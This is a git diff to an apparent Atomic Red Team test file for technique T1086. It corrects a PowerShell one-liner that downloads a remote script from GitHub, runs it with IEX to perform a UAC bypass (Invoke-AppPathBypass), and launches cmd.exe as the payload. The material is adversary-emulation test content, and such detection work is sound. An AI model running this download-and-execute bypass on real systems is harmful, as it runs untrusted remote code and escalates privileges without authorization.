diff --git a/atomics/T1086/T1086.yaml b/atomics/T1086/T1086.yaml index 30df34a6..77008bca 100644 --- a/atomics/T1086/T1086.yaml +++ b/atomics/T1086/T1086.yaml @@ -78,8 +78,7 @@ atomic_tests: executor: name: command_prompt command: | - Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass" - C:\Windows\System32\cmd.exe + Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'" - name: PowerShell Add User description: |